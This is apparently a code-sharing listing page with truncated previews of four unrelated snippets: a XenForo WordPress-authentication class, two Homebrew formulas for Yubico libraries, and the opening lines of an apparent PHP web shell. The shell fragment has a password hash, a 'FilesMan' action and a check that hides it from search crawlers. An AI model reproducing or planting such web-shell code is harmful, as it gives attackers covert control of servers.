This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
#+Dump Columns ////Boolean | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This will mimic the the authentication scheme of WordPress. It will not create new hashes. | |
* I suggest that you encourage your users to change their password after import as it will switch to XenForo_Authentication_Core | |
* | |
* @license https://www.apache.org/licenses/LICENSE-2.0.html Apache License, Version 2.0 | |
* @copyright Copyright (c) 2012, Derek Bonner | |
* @author Derek Bonner <derek@derekbonner.com> | |
*/ | |
class TheCollectiveMind_Authentication_WordPress extends XenForo_Authentication_Abstract |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'formula' | |
class Libykneomgr < Formula | |
homepage '' | |
url 'https://github.com/Yubico/libykneomgr/archive/libykneomgr-0.0.1.tar.gz' | |
version '0.0.1' | |
sha1 '8c8754fa727d2b24f38ede74cfc22983bcc02162' | |
depends_on 'automake' | |
depends_on 'autoconf' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'formula' | |
class YubicoC < Formula | |
homepage 'http://opensource.yubico.com/yubico-c' | |
url 'https://github.com/Yubico/yubico-c/archive/libyubikey-1.11.tar.gz' | |
version '1.11' | |
sha1 '243de4477942d317bdecac0eb2001e75635ee389' | |
depends_on 'automake' | |
depends_on 'autoconf' |